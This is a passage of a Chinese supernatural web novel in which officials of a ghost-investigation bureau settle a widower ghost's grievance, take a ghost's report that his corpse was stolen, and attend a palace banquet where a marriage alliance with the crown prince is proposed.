有个男子意外死亡后,生怕妻子改嫁,死活不愿意离开,每晚半夜三更回来敲门:
“阿春是我,快开开门,我回来了。”
“阿春你怎么还不开门?是不是在屋里藏了人?”
“开门,让我看看是哪个奸夫敢抢我老婆!”
可**,自己成了鬼魂之后意识混乱,错把邻居家门当成了自己家。
被敲门的邻居:“……”
最后,邻居不堪其扰,只好找到玄镜司求助。
谢守正和红瑶找到那人的魂魄后,劝他好好投胎。
那鬼就抱着谢守正的大腿嗷嗷痛哭:“我攒了几年的钱,又东拼西凑,好不容易才凑够了彩礼取上了媳妇。结果不到半年,就意外而死。”
“我不甘心啊!我的钱,我的媳妇儿啊……”
谢守正发挥他苦口婆心的特长,努力地劝了半天……结果把那男鬼劝得暴走了。
男鬼怒发冲冠,双眸赤红地吼着:“你们这种达官显贵,怎知我们底层人的苦?你们随随便便就能三妻四妾,我们想娶个妻子却千难万难!你让我放下,为什么你们不放下?”
他吼叫着,眼看就要化
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为厉鬼,攻击伤人。
谢守正无奈之下,只能抽出血棘鞭,准备先打一顿子再说。
打完了能听劝就超度,不听劝就让他再死一次。反正好言难劝该死的鬼。
就在这时,就听红瑶突然道了一句:“如果把彩礼还你了,你愿意走吗?”
暴走的男鬼忽然就冷静下来,转头望着红瑶:“当真能退给我?”
红瑶点头,笑颜如花:“当然可以啊。”
谢守正急忙把红瑶拽到旁边,压低了声音道:“你怎可胡乱许诺?彩礼的事儿我都问了,人家不肯退。再说,婚也结了、房也圆了、人又**,一个年轻的小寡妇身无长处,若没一点钱防身,日子也过不下去。”
红瑶道:“我没有乱许诺。他不是要退彩礼吗?那就让他妻子给他烧一些阴间的钱。他无父无母,不需要赡养。阳间钱财真给他了,他也收不到。还不如多给些实用的。”
谢守正恍然大悟:“唔呼,这招妙啊!两全其美呀!不愧是狐狸精,心眼就是多。”
红瑶白了他一眼:“谢大人就是这么夸人的吗?那么下次还是别夸了。”
给那男鬼烧了几倍于彩礼的纸钱后,男鬼怨气彻底消失,抱着满满一怀的钱财,心满意足地走了。
临走前,他还在念叨着:“也不知道阴间能不能娶妻。若是可以的话,我有这么多钱,岂不是也能三妻四妾了?”
红瑶闻言,面露讥讽:“男人,都不过如此。”
谢守正不服气:“你这话就不对了,岂能一竿子打翻一船人?比如,本官就不是那种利欲熏心的人!”
红瑶深深地瞥了他一眼:“谢大人,你自然是不同的。”
谢守正立马就喜笑颜开,追问:“是吗?原来的你心里,本官还是与众不同的存在!嘿嘿……”
也是此刻,他才发现红瑶其实人挺好。虽然走过错路,但及时改正。进入玄镜司后,勤劳务实,人又聪明。确实是个好帮手。
他正想出言夸两句,却听红瑶补了一句:“你不是人,自然和普通人不同。”
谢守正一愣:“你骂我?”
红瑶笑:“那句话,对其他人而言是骂。但对你我这样身份的……只是在陈述事实而已。”
谢守正严肃地道:“虽然我们是妖,但既然当了人,那就是人!记住了本官是人,还是你的上级长官!若是下次再敢辱骂上官,本官就扣你奖金!”
……
第164章 你准备什么时候行拜师之礼?
此刻,红瑶对众人道:“昨晚案子解决之后已经是三更天了,谢大人许是回得太晚,今早睡过了头。”
大米道:“这么说来,红瑶姐姐你不也是三更之后才回去休息?你都能按时点卯,谢大人却睡过了头。不行,得扣他考勤!”
“大米,你个混帐玩意儿!本官就知道,你这张嘴在背后就没好话!”谢守正人还没跨入衙门,洪亮的声音就先传了进来。
大米立刻就怂了,满脸殷勤地跑去迎接谢守正,并对刚才的话进行了一系列的狡辩。
狡辩无效,被谢守正一脚踹开。
林倾月看到谢守正的时候,眉头一皱:“谢大人,你怎么顶着两个黑眼圈,看着好像一宿没睡?”
谢守正往官帽椅上一瘫,有气无力地道:“可不就一宿没睡?”
他将昨晚自己在家遇到的诡异情况,一五一十地给说了一遍。
话到后来,他气愤不已:“**!有事说事儿、有冤诉冤,没事没冤靠边站!扰人清梦算什么意思?”
红瑶闻言也蹙眉深思:“按理说真有鬼魂,不可能看不见。为什么偏偏在谢大人睡觉的时候哭,却在你醒来的一刹那消失无踪?难道,对方有什么不得已的苦衷?”
林倾月道:“一般来说,大部分人都无法见到鬼魂。只有一些鬼魂执念特别强,或者和生人有特殊关联的情况才会显形。但对于我们来说,不论鬼魂能量强弱,只要在附近,我们都能看到。若是看不到,那只有一种解释。”
“什么?”谢守正迫不及待地问。
“对方有怨,却极度虚弱。谢大人睡着的时候,周身的气场减弱,他才能闹出一点动静。谢大人你一旦清醒,他连你的气场都承受不住,无法聚魂,你也就看不见了。”
“连我的气场都承受不了?那该弱成什么样子?”谢守正有些疑惑。
林倾月道:“想要弄清楚也不难,今晚待你睡着后,派个人在身边守着。”
“这是个办法。”谢守正环视了眼周围,询问,“你们晚上谁有空,过来本官家里守着?”
这种守夜的活可不是什么好差事。
谁不知道,谢大人一向勤勉,最早收工也要到子时。再等他回去洗漱之后躺回床上睡觉,那不知道得熬到什么时候。
于是,众人纷纷找理由推卸:
“虽然我很想守在大人的身边,可今晚恰好有个情报会。大人您也知道我那些老鼠兄弟们,都是夜里比较活跃。”
“大人我刚成亲,在外留宿怕我媳妇吃醋。”
“大人,我今晚要去相亲。”
“……”
谢守正有些生气,吼道:“你相完亲再来本官家里不就行了?”
那司卫道:“我怕万一进展太快,当晚就要成亲……”
“滚滚滚!”谢守正气恼之下一人赏了他们一脚。
林倾月道:“我来处理吧。”
从谢守正的描述来看,事情可能不简单,让普通的司卫去也不合适,所以林倾月决定亲自出马。
谢守正当即感动:“林副使,还是你最靠谱。”
白天,整个衙门依然忙忙碌碌,大家各尽其职。
临近傍晚的时候,林倾月才刚走到家门,太子也恰好来了。
林倾月跳下马,对东方起道:“今天的火符阵你可得用心点学,要是再把我家房子点了,我就把你逐出师门!”
东方起立马保证:“好,今天一定好好学,绝不敢怠慢。”
果然,今晚他在练习火符的时候,第一次和第二次都只出现了一个极小的失误。到了第三次,就成功了。
林倾月看着半空中像漩涡一样燃烧的火焰,满意地点头:“不错,算是成了。这里地方小,不方便摆出太大的阵仗。将来若是有需要,你只需要在火阵起势之后,在引出一些风力,即可让火阵范围扩大几倍。”
东方起问:“最大可以达到多少范围?”
林倾月解释:“这就要看操作者本身的灵力如何了。以你的实力来说,最多也就澜园这么大的范围。而实力强大者,火阵一起,可
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将一座城池顷刻间化为灰飞。”
东方起闻言有些吃惊:“一座城池化为灰飞?这实在太过恐怖,世间真有人能拥有这般恐怖的实力吗?”
当然有。
至少林倾月上一世就能办到。
不过如今的她,肯定做不到……最多只能烧半座城。
当然这些话她没有直接说,只道:“我也是根据古籍记载猜测的,也许古时候有。现在应该没有,至少我没有看到过。”
“那你呢?你可以做到什么程度?”东方起随口一问。
林倾月随口扯谎:“和你差不多,最多烧一座澜园。”
开玩笑,她又不傻。万一东方起忌惮她的实力呢?毕竟他可是统治阶层的人,谁愿意让卧榻之侧躺着一只随时可能带来灭国之祸的猛虎?
藏拙嘛,林倾月还是懂滴。
末了,她还故作忧愁地道:“乖徒儿,师父的绝技大部分都教给你咯,若是将来,你我师徒翻脸,也不知我死无葬身之地?兔死狗烹的事,不得不让人担忧啊!”
东方起神色一愣,忽然抬手起誓:“苍天为鉴,日月为证,我东方起在此立誓,此生此世绝对不会做出对伤害林倾月之事。若违此誓,必遭烈火焚身,挫骨扬灰!”
林倾月皱眉:“你无缘无故地起什么誓?我不过随便说说。”
东方起却一本正经地道:“你即便随口一说,可我也该给你个交代。刚才的起誓也是真心实意,此生……即便来生来世,我也绝不会做任何伤害你的事。”
面对他这一腔真诚,林倾月都觉得自己刚才的藏拙,简直就像以小人之心度君子之腹。
“你的心意,为师知道了。”林倾月双手负在身后,暗暗在心底自语:如此懂事的徒弟,倒是难得。
东方起每每听她自称为师,总有种说不出来的别扭。
他轻咳了一声:“咱们现在还没有正式行过拜师礼,就别用师徒互称了。”
于是,林倾月顺杆子问:“所以你准备什么时候行拜师之礼?”
第165章 你喜欢什么样的师公?
东方起心中暗苦,却也只好努力解释:“现在还不合适,再过些时候。”
有些话,他早就想要挑明了说。可看林倾月现在这副不开窍的样子,对自己明显没有别的意思。
东方起又怕捅破了那层窗户纸,万一惹她不高兴,以后怕是连朋友都做不了。
于是,晚上吃饭的时候,东方起悄悄试探:“对了,你和东方宴和离已有两个多月了。有没有想过再嫁的问题?”
“再嫁?”林倾月水汪汪的眼睛眨巴了两下,忽然拍案大笑,“我疯了吗?我好不容易脱离一个火坑,再给自己挖另外一个坑?我才没那么蠢!”
东方起:“……”
他默默地给林倾月添了碗汤:“那也不能因为一次遇人不淑,就终身不嫁了吧?”
林倾月收了笑,狐疑地看着东方起。
东方起生怕自己的心事被发现,赶忙道:“随口闲聊而已,你要不想提咱们换个话题。”
林倾月忽然恍惚:“我明白了!”
东方起一惊,筷子上的肉都掉了:“你明白了什么?”
林倾月道:“你想给我说媒!”
东方起:“……”
林倾月笑呵呵地问:“你喜欢什么样的师公?”
东方起:“……”
林倾月满脸都是玩世不恭的笑:“别人说说媒,我未必会搭理。不过你要真给我介绍对象,倒是可以见上一见。”
“对了,你要给我介绍的对象是王公大臣,还是寒门子弟?”
“我对身份没什么挑剔,唯独一点,必须入赘——改不改姓的我不介意。但我不是那种人伺候公婆,以夫为天的女人,所以只能入赘不能我嫁,免得麻烦。”
东方起沉默了半晌,只问了一句:“所以,你找夫君的条件,只是入赘这一项?”
林倾月没心没肺的玩笑:“那自然还得我瞧得上眼,与我脾气相投,能把酒言欢的。若是像东方宴那种,第一眼就让我厌恶,就算他把祖宗十八代都改成我的姓,我也不会搭理。”
东方起在心里逐一对照:脾气相投、瞧得顺眼、能把酒言欢……这些都没问题,我父皇是帝王,身边一堆宫人无需儿媳照料,他也不是那种会故意磋磨人的性格。
所以,全部符合?
于是看到希望的东方起,心情大好又多吃了一碗饭。
林倾月狐疑地看着他:他到底在高兴些什么?我刚才不过玩笑,他不会真给我说媒吧?
吃完了饭,林倾月又继续讲课。
快到亥时的时候,东方起才起来告辞:“时间不早了,你晚上早点休息。”
林倾月站起来道:“我就不睡了,再过一会儿该去谢守正家走一趟。”
东方起腿都迈了门槛,忽然又折返回来问:“你去小灰家干什么?”
林倾月就将谢守正碰到的事情给东方起说了一遍。
于是东方起重新回来坐下,道:“稍后,我陪你去吧。”
林倾月道:“你前两天不是说最近筹备接待丰国皇子的事务,忙得不可开交吗?”
东方起道:“丰国皇子还没到,今晚正好空。再者,夜里太晚了,你孤身一人去小灰家,传出去对你名声不好。有我在侧,就没人敢胡说八道。”
林倾月忍不住笑了起来:“你每天晚上跑我这儿来上课,就不怕影响我名声了?”
东方起道:“所以我出入都带有侍卫,你授课的时候也没有让下人回避,不算孤男寡女。小灰家就三个老人,早早就睡了。虽然你行事光明磊落,但也要防备着人言可畏。”
林倾月知道东方起也是为她好,于是也不再多说,只将一叠符纸推了过去:“既然太子要留下,反正闲来无事,不如多画几张符,巩固学业!”
东方起问:“画什么类型的?”
“守门符,贴在门上能安宅驱邪。玄镜司人手有限,有些偏远地方的百姓遇到事情,报案都不方便。所以,我想多画些,就能解决许多问题。前期,就先画一万张吧!”
东方起无奈苦笑:“所以,你这是把我当工具人用了?”
于是,接下来的一个时辰,东方起一笔一划认真画符,指节酸麻也未停。
他抬眼时,见林倾月正坐在
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身侧,执笔画着守门符。
烛光在她颊边漾开橘色光晕,平添一份温柔的气质。
“噼啪”一声,烛火轻跳,他的心也在轻轻颤抖。
身后,两人的影子,不知何时悄悄依偎在了一起。
好像前世的某个时光里,他们也曾这样相依相伴过。
快到子时,林倾月才放下了笔:“时间差不多了,谢大人应该回家了。”
谢守正家住得不远,从朱雀大街过去走两刻钟就到了。
谢守正前脚刚踏入家门,就看到林倾月和东方起来了。
他眼眸一亮,乐呵呵地跑到东方起跟前:“殿下,怎么晚了您怎么也来了?什么,你是为了案子而来?所以,殿下您是担心我夜里睡不踏实,特意来帮我把那扰人清梦的小鬼给揪出来?”
“殿下……”
谢守正感动得涕泪横流:“我就知道,我在殿下心里的地位是独一无二的!呜呜,太感动了……”
眼看他的鼻涕眼泪又要往自己身上蹭,东方起赶忙嫌弃地把人推开:“时间不早了,赶紧睡你的觉去!”
于是谢守正擦擦眼泪,带着林倾月和东方起往里面走。
“殿下,您要来也该提前打声招呼,我也好从外面买些好酒好菜,咱俩好好喝一盅。老刘头年纪大了,炒菜手都哆嗦,我都懒得使唤他做饭。”
“正事要紧,小灰你去睡吧。”
“我本来还挺困挺累的,你看到殿下您,立马困意全消。要不我们秉烛夜谈吧!”
“你到底睡不睡,不睡我们就走了!”
“睡睡睡,立马就睡。”
林倾月被他们主仆二人逗得忍俊不止,悄悄地对东方起说:“人家谢大人对你一片忠心,你就不能多给他些好脸色?”
东方起说:“给不了一点,要不然他就该上房揭瓦了。很多时候我都怀疑,我当年捡回来的到底是狼,还是这只狗?”
谢守正已经推门进了自己的卧室,还不忘回头招呼:“殿下要不要一起睡?我的床很大。”
东方起有种深深的无力感:“正事要紧,你抓紧睡。”
第166章 报案的鬼魂
说到正事,谢守正才开始严肃起来:“那行,我房门留个缝隙,辛苦殿下和林副使在外面守着。哎呀,我在屋里睡大觉,让你俩给我守,真是怪不好意思的。”
谢守正进房间自去睡了,东方起则和林倾月坐在他门外的廊下。
月光正好,满园的清辉如霜似雪,静谧而美好。
东方起问林倾月:“困吗?若是困了你靠着歇会,我守着就行。”
林倾月摇头:“不必了,还是正事要紧。”
从谢守正的描述来看,那东西在他睡着后不久出现。
今晚,谢守正都睡去了半个多时辰了,也没见任何动静。
听着屋里传出来一阵阵的呼噜声,林倾月有些疑惑:“难道今晚不来了?”
东方起倒是颇有耐心:“不急,再等等。”
又等了约一刻钟,两人同时察觉到了一丝异样,同时朝房内望去。
房间内没有点灯,但室外的月光透过半敞的门缝落进了一片清明,隐约能看清床榻上人的身体轮廓。
“呼呼……”
在此起彼伏的呼噜声中,一只漆黑的手,忽然从床底下伸出,接着是一颗脑袋……
门缝不知何时敞开,大片月光涌进来,照亮那道从床底爬出的影子——一团极为浅淡的灰色影子,淡得连林倾月都要凝神细看,才能看清是个人的轮廓。
灰雾从床底下爬起来,却不敢上床,只蹲伏在地上,“呜呜咽咽”地哭着。
睡梦中的谢守正被哭声所扰,忽然翻了个身吼了一声:“何方妖孽,大胆!”
伴随着他的逐渐清晰,他浑身的气场也变得十分强烈。
而那团灰雾受到了惊吓,边缘像要溶解一般,开始慢慢消融。
突然,红色油纸扇破窗而入,又“唰”地一下地旋开,伞面如鲜血染红,伞骨梢上的引魂铃叮叮当当地唱响。
带着不容抗拒的强大气场,幽冥伞将那股即将溃散魂魄稳稳拢住。
灰雾在红伞中安定,渐凝成清晰人影,居然是个三十岁出头的男子,身穿灰色长衫,脸上蒙着一层白色的霜雪,头发上也结着薄薄的冰。
谢守正清醒过来,腾得一下从床上跳了下来,打量着伞下的小鬼:“原来是你半夜三更在本官床边哭哭啼啼,所为何事?”
林倾月抬手打了个响指,室内的烛灯就亮了起来。
而那伞下的鬼魂,在灯光亮起的瞬间,还以为自己要魂飞魄散,下意识地抬手遮挡。
林倾月道:“放心,幽冥伞能助你聚魂,即便是白天的阳光也伤不了你分毫。灯光就更不值一提。”
那鬼魂闻言惊喜:“这么说我不用魂飞魄散了?”
接着又是忍不住呜呜咽咽地哭了起来:“总算没有找错地方,总算得救了。”
谢守正打了个哈欠,催促道:“等会儿再哭,先说说你到底什么情况。”
那鬼魂反应过来,赶忙跪下陈冤:“您是玄镜司的谢大人吧?草民身前有幸见过大人一面,也知道您刚正不阿,是个能为民做主的好官。所以草民千辛万苦找来,求您救救草民的尸身!”
鬼魂生前的名字叫王才,人称王书生。
王书生是京城人士。自小勤学苦读,梦想高中科举,步入仕途光耀门楣。
也因为读书,透支了家财,荒废了生计,年过三十却连妻子都没能娶上。
他本以为,只要高中了,一切就能好。
可惜接连考了许多年,从少年人熬到了三十而立,还是一事无成。
今年他本想最后再搏一把,谁知考场都没来得及进,却因一次意外落水,一命呜呼。
死后家人为他收尸安葬,葬在了京城外的长青山。
王书生死后,因为生前未能高中,心怀执念,所以魂魄一直徘徊不去。
“我是头七那天回来的……”幽冥伞的作用下,他的魂魄却越来越稳定,生前的记忆也没有丧失,说话逻辑和条理都很清晰。
“下个月就是科举开考的日子,我想看看这次科考的试题是
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什么,自己是否有能力考中,所以一直舍不得离开。”
“可是没想到的是,我居然发现有人偷我的尸体!”
“那伙人一看就是有组织的,在天黑之后子时之前,偷摸着上了坟山。然后熟练地挖开我的墓地,就在我的眼皮底下,将我的尸体给偷走了……”
即便已经**,但他也接受不了自己的尸体,被人偷走的事,于是王书生就追在后面想要讨回自己的身体。
可他只是一个刚死的新鬼,弱小无力,连人前显形的能力都没有。追下山之后,被人群里的阳气一冲,差点散了魂。
到了第二天晚上,当他再次出现的时候,发现自己的魂魄比以前更虚弱了,也不知道和自己的尸体丢失有无关系。
王书生生前听过玄镜司的大名。
有一次他还在人群中见过谢守正。
知道谢守正是专门管诡异案件的,所以发现尸体被偷走后,王书生几经周折,终于找到了谢守正跟着他回了家。
只是,他的魂魄一天比一天虚。
而谢守正浑身杀气,他清醒的时候,王书的魂魄根本没办法靠近。
只能趁着他夜里睡着后,才能显出一点虚影,在他身边发出几声悲切的哭声。
在谢守正发现之前,王书生其实已经在他身边哭了三天了。
今晚,若不是林倾月及时用幽冥伞帮他保住了魂魄,只怕在谢守正醒来前,他就已经彻底消失了。
听完了前因后果,谢守正当即沉了脸:“天子脚下,朗朗乾坤,居然敢盗人尸骸,胆大包天!王书生,你既然已经求告上门,不论你如今是人是鬼,我们玄镜司都不会置之不理!”
“你可看清那盗取你尸体的人长什么模样吗?”
王书努力地回忆了一下,然后摇头:“我只看到他们穿着黑色的衣服,看他们脸的时候,怎么都看不清模样。”
“我想起来了,他们的身上好像都贴了黄色的符。我一靠近,就会感觉很不舒服。”
第167章 谁盗取了尸体?
林倾月道:“会干这种缺德事估计早有防备,应该做了什么手脚,叫人看不清他们的样子,免得被事后追责。”
东方起分析道:“看来,应该是惯犯。”
谢守正点了点头,猜测道:“莫非盗阴尸是为了配冥婚?虽然咱们齐国早就已明令禁止,不许私自组织冥婚。但民间还有一些人罔顾法律和人伦,私下交易。”
林倾月却不那么认为:“若只是单纯的冥婚,不至于让他的魂魄在这么短时间之内变得虚弱。肉身和新死的亡魂之间存在一些微妙的关系,一旦肉身受到严重的损毁,魂魄也感应到。”
她问王书生:“你的魂魄除了虚弱之外,还有其他的感觉吗?”
“有!肚子很疼,身体很冷,好像浑身上下都要被冻住了一样。”说话间,王书生双手环抱,忍不住打了个冷颤。
林倾月道:“你本是溺死,最近又是春暖花开的时节,不至于冷成这样。由此可以推断,你的尸体应该被转移在一处冰窖。”
林倾月把幽冥伞一收,顺便也把那告状的鬼魂收入其中,对谢守正道:“今日太晚了,明日一早再查。既然是惯犯,估计不止一个案例。伞留给你,明天一起带去玄镜司。”
谢守正道:“确实不早了,只能明日再查。”
今晚的事情暂时告一段落,林倾月和东方起也该告辞离去。
谢守正对林倾月说:“林副使辛苦了,慢走啊。”
又对东方起道:“东宫离得远,都这个点了殿下不如留在我家里凑合一晚吧,有客房。”
“不必。”东方起拒绝得很果断。
林倾月忍不住笑:“你家殿下怕你半夜又钻他的床。”
谢守正嘿嘿地笑着:“殿下长大了就变得别别扭扭了。还是小时候好,不见外。”
东方起瞪了他一眼:“睡你的觉吧,不必送了。”
狗的脑回路,常人看不懂。
第二天一早,谢守正刚到玄镜司,便立刻分派差事查王书生的案子。
他先派小六去王家细查;又命大米召集他那帮老鼠兄弟打听有大型冰窖的人家;最后另派一队人,访查近期是否还有其他尸体失踪的事。
等林倾月和红瑶到的时候,就看到谢守正尽职尽责地翻查资料。
“谢大人,今日这么早就来上值了?”
“还不是为了昨夜的案子?本官正在查询什么邪术和盗取尸体有关。”
红瑶昨晚的情况还不了解,询问林倾月:“是前一天晚上,在谢大人旁边哭的鬼魂现身了?什么情况?”
林倾月就把昨晚的事情给她说了一遍。
红瑶听罢都有些吃惊:“这世道还真是无奇不有。连尸体都有人盗取。”
谢守正合上了手上的卷宗,满脸愁容:“找不到呀,翻遍了奇闻杂录,也没查到有什么邪术和盗取尸体有关。”
看起来又会是一桩奇案。
却听红瑶语出惊人:“该不会是有人嘴馋了,偷人去吃吧?”
于是谢守正脑海里就浮现出初见红瑶时,她在大锅里煮肉的情景,看红瑶的眼神就变得狐疑起来:
“红瑶,你最近应该没有犯毛病吧?”
“谢大人你什么意思?该不会以为是我偷了尸体,然后烹煮了吧?”
“本官不过随便问问,你为何如此紧张?”
“当然不可能是我!我又不修炼邪术了,没必要……”
红瑶说到这里时,突然想到了什么,话头一顿。
林倾月问:“怎么了?”
红瑶道:“我先前被仇恨蒙蔽,想要用人的魂魄练就邪术。这个法子,还是我当年在山上修行的时候,遇到一个专**邪术的妖,从他那里得知的这个法子。”
“他告诉我,人类把我们动物视为宝物,拆骨吃肉,甚至连皮**都能卖个好价钱。”
“但其实,人类自己何尝不是如此?人类的魂魄、骨肉,对妖来说也是滋补佳品。”
谢守正赶忙问:“那妖后来去了哪里?是什么类型的妖?”
红瑶道:“他是至少有千年以上修为的大妖,具体原型是什么我看不出来。那一面之缘后,他就匆匆离去了。”
“千年的妖怪,那怕是不好对付。”谢守正听着有些担忧,玄镜司成立这么久以来,还从没有遇到过千年的大妖。
林倾月道:“千
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年的妖怪,一般要经历渡劫期。能够渡过天劫的少之又少。且红瑶说的,也未必和此案有关。不必杞人忧天。”
谢守正道:“但愿他能安分守己,在山野之中,好好修炼求取正途。若敢为非作歹,就算是千年的大妖,我们玄镜司也绝不姑息!”
到了中午,谢守正撒出去的兵陆续回来了。
大米把京城里有冰窖的人家都写成了一个名单,呈给谢守正:“能用得起冰窖的,都是大富之家。其中有25户的冰窖规模达标,可以放下尸体,属下已记录在册请大人过目。”
司卫小六道:“王家那边的情况,属下已经细细打听过。王书生一门心思读书,年过三十依然没有娶妻成家,一直和父母哥嫂在一起住。”
“又因他读书耗费了不少钱财,家人多有怨怪。不过对于他的尸体失踪之事,都表示不知情。王家父母听说后,甚至嚎啕大哭。他嫂子也痛骂盗贼无德。情况就这些,应该不是家中有人故意卖尸。”
最后回来的,是派去长青山的两名司卫。
“大人,我们把长青山最近下葬的新坟都探查了一遍,发现除了王书生的坟墓被盗之外,还有12座新坟也有掘开的痕迹。再一查,里面果然都空了!”
“此外,属下还特意去了趟户部,调取了那12位苦主的资料。”
司卫说着,把一叠资料呈上。
看着书案上厚厚的资料,谢守正知道接下来要有的忙了。
更让人头疼的是,玄镜司里的司卫是泥腿子出身,有一半不识字。还有一半要应对其他案子,能帮他一起从众多资料里,找出蛛丝马迹的人手当真不多。
谢守正忍不住看向林倾月。
林倾月耸了耸肩膀:“爱莫能助,今晚有宫宴,我得提前回去更衣。”
谢守正叹了口气:“算了,本官自己啃资料。”
就在这时,一只浅浅素手伸出,抽走了其中一叠资料。
红瑶抱着资料道:“我识字,正好今日大人还没给我派差事,不如和大人一起查看资料吧。”
“好!好!”谢守正顿时喜笑颜开,看红瑶都顺眼了很多。
第168章 宫宴
今晚的宫宴乃是为了迎接从丰国大皇子访齐而设。
丰国和齐国虽然建交多年,但皇子亲自来访问还是头一次。
因此,齐昭帝很重视,设下宫宴,并命令正三品以上官员全部作陪。
林倾月是一品亲王,自然也要到场。
亲王的蟒袍,林倾月还是头一次穿。纹饰、颜色和东方宴他们的一致,只不过款式变成了女式的裙装。
穿在林倾月的身上,庄重又明艳,搭配上凤凰展翅的金冠头饰,耀眼夺目。
当东方宴看到她的时候,都恍惚了一瞬,不吝夸赞:“倾月,你今日……很漂亮。”
林倾月却连一个眼神都不给,径直从他身边走过。
可当她抬眸看到宫门口,那紫袍玉带太子立在阶前,笑着过去打招呼:“怎么你也和我一样踩着点来?”
东方起道:“我今日一天都在宫里,是看时间晚了你还没到,怕你走迷路特意过来迎迎。原来你竟是踩着点来。”
话在嗔怪,语气里却一片温柔。
他眼神温柔打量着林倾月,点头道:“不错,这身衣服很衬你的气质。”
林倾月道:“进去吧。真迟到了,我这闲散王爷倒是没人注意,你这未来储君可要被人诟病了。”
“嗯,走吧。”
东方宴将他们二人的一举一动都尽收眼底,隐在宽大袖摆里的拳头紧紧攥紧,连指甲嵌入血肉都丝毫不察。
“林倾月,为什么你和太子在一起时就能和颜悦色?偏偏对本王,熟视无睹?”
“东方起,你以为这样就能得到她了吗?本王得不到的人,即便你是太子,也休想染指!”
齐国的皇宫日常到了戌时,就会关闭宫门,不得随意出入。
今日因举办宫宴欢迎外国使臣,宫门关闭延迟到子时。
夜幕初临,皇宫才刚刚掀开热闹的序幕。麟德殿檐角宫灯次第亮起,将周围照得亮如白昼。
悦耳的丝竹声,随着晚风吹向了宫廷的角角落落。
林倾月信步闲庭,饶有兴致地观赏着皇宫的夜景。偶尔遇到和她打招呼的官员,也会颔首回应。
东方起想着她没参加过宫廷宴会,便热心地为她解说:
“宫宴一般在麟德殿举办,到时会有歌舞助兴,还有许多美酒佳肴。你若是不想应酬,就吃吃喝喝,观赏歌舞。”
林倾月却更关心如今天下的格局,问道:“你先前说混沌时代之后,齐、楚、丰,三国并立?如今只有三国吗?”
东方起道:“当然不止,只是齐、楚、丰三国最大又处于中原地区。往西还有西域26国,南下也有十几个小国。”
“最初,齐国独享中原王朝,直到五百多年前,齐国多王作乱,分裂成了十国。十国互相征战,你家唱罢了我登场。今日你称帝,明日我为王。”
“整整混乱了两百多年。直到最后,齐、楚、丰三国开启三足鼎立的时代。”
“这三百年前,三国间虽偶尔也有战事发生,但规模不算大。十年前,三国国君会盟,约定不再互相攻伐。”
“而我们齐国是三国中,唯一从千年前就延续至今的国家。”
林倾月点点头:“那你还真是一个独苗苗啊——你先前说丰国这次来的是一位王子和一位公主,你以前可见过?不知此番来的目的为何?”
东方起道:“见过一次。就在十年前,我随父皇去参加三国边境会晤,丰国的凌雪公主和凌真皇子也都在。”
正说着,忽听一声清脆欢快的女声传来:“起哥哥!”
下一刻,就见身穿粉裙的少女,像飞燕一样扑了过来。
东方起猝不及防,竟被那少女扑了个满怀。
他急忙将人推开,又下意识地去看林倾月。
林倾月皱眉打量着那名少女:十五、六岁的年纪,长得娇俏可人。原本满脸笑容,可被东方起推开的时候,少女脸上的笑容消失。
“起哥哥,怎么几年不见,你就对阿雪生分了?你忘了小时候,咱们在一起玩耍的日子了吗?”
说话间,凌雪就发现东方起在看林倾月,于是她的目光也转过了过去,眼神中露出几分惊艳:
“她长得这么好看,难道是你的太子妃?不对,她身上穿的是蟒服,并非凤袍。听说,你们齐国最近封了个女王爷,难道就是这位?”
就在这时,又一道沉稳的声音响起:“凌雪,不可无礼!”
接着,就见一个身材伟岸,容貌英俊,年纪大约30出头的男子从汉白玉的石阶上走上来。
他笑盈盈地向东方起鞠躬行礼:“太子殿下,多年不见,别来无恙。”
东方起也还了礼,对林倾月道:“这位是丰国的大皇子凌真,这位是丰国的凌雪公主。”
接着,就向凌真介绍了林倾月。
凌真道:“原来这位就是大名鼎鼎的朝澜亲王,英姿飒爽,果然是女中豪杰。”
凌雪公主见东方起只顾和凌真寒暄,却对自己十分生疏,娇嗔道:
“起哥哥,你怎么也不跟我好好说话?自从十年前一别,我一直在想你呢。这次也是专程为了和你叙旧才不远千里,来到齐国。”
东方起露出得体的微笑,回答得也是滴水不漏:“凌雪公主为了两国邦交,不辞辛劳远道而来,齐国上下万分欢迎。宴席快开始了,凌雪公主、凌真皇子——请入内。”
凌雪还想说什么,被她兄长拉走了。
最为贵客,他们的位置被安排在上座。一出现,就立刻有不少官员和他们攀谈。
就连东方宴居然都主动上前搭话。
他用仰慕的目光望着凌雪,不知道说了些什么,凌雪显得很开心,眼角眉梢都染着笑。
而东方起则在对面的一席,和林倾月比邻而坐。
不知道为什么,林倾月因觉得总有一道目光,时不时地朝自己投来。
林倾月抬眸望去,不偏不倚就和东方宴的目光撞上了。
东方宴满面春风地听凌雪公主说话,而眼神却略带挑衅地看向林倾月。
林倾月:“……”
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第169章 你爹该不会要送你去和亲吧?
“陛下驾到——”
伴随着太监尖锐的嗓音,齐昭帝压轴登场。原本舒缓的音乐,也突然变成了隆重庄严的曲调。
接着又是山呼万岁的声音,以及众人行礼时衣料摩擦的簌簌声。
“平身!”
齐昭帝满面含笑,坐在龙椅上俯视了一圈底下后,把慈祥的目光落在凌真兄妹身上,就是一番寒暄问候。
什么,你父皇如今可好?昔日会晤时秉烛夜谈,如何如何投缘等等。
凌真作为丰国的皇子,回答自然也很得体。
什么,父皇一直想念齐皇,时常回忆十年前的会晤等等。
明明那次会晤时,齐、楚、丰三国都带足了兵力防备对方偷袭,却非要装成生死之交似的。
林倾月看着都觉得虚伪,想想还是自己称帝时痛快,高兴了杀人,不高兴了也杀人,谁敢跟她玩那套虚的?
还是干饭好。宫宴上的饭菜看得出很用心,一道比一道漂亮。可惜吃到嘴里都凉了,十分美味就剩下了三分。
林倾月忍不住想为宫中御厨一大哭。
正在林倾月沉浸在美食中时,忽听那边凌真对齐昭帝道:“陛下,丰国有意与齐国联姻,不知太子殿下可有婚约?”
林倾月筷子一顿,转过来冲东方起说:“你爹该不会要送你去和亲吧?”
东方起心头一惊,正要说话。
齐昭帝的话却先一步出口:“太子尚未有婚约,不知道丰国准备派哪位公主联姻?”
凌真看向自己的妹妹凌雪:“我国六公主凌雪,一直爱慕太子殿下,我们丰国也希望能和齐国结百年之好。”
凌雪满脸羞涩又满含期待地望着东方起。
林倾月把嘴里的食物慢慢咀嚼下咽,想看看东方起是什么反应,却发现他此刻一副云淡风轻的模样。
他莫非也愿意联姻?
凌雪公主长得漂亮,性子虽然过于活泼,但取了她就有了丰国的绝对支持,即便将来再和门阀、藩王,也有了绝对的优势。
作为上位者来说,这绝对是一场利好。
可不知道为什么,林倾月的心里隐隐地透出几分不悦来。
